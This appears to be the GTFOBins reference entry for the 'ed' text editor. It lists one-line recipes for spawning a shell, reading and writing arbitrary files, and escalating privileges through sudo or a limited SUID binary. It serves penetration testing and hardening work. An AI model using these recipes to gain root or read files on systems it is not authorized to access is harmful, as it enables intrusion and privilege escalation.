GTFOBins.github.io/_gtfobins/ed.md
2018-10-05 18:55:38 +01:00

29 lines
363 B
Markdown

---
functions:
shell:
- code: |
ed
!/bin/sh
file-write:
- code: |
ed file_to_write
a
DATA
.
w
q
file-read:
- code: |
ed file_to_read
,p
q
sudo:
- code: |
sudo ed
!/bin/sh
limited-suid:
- code: |
./ed
!/bin/sh
---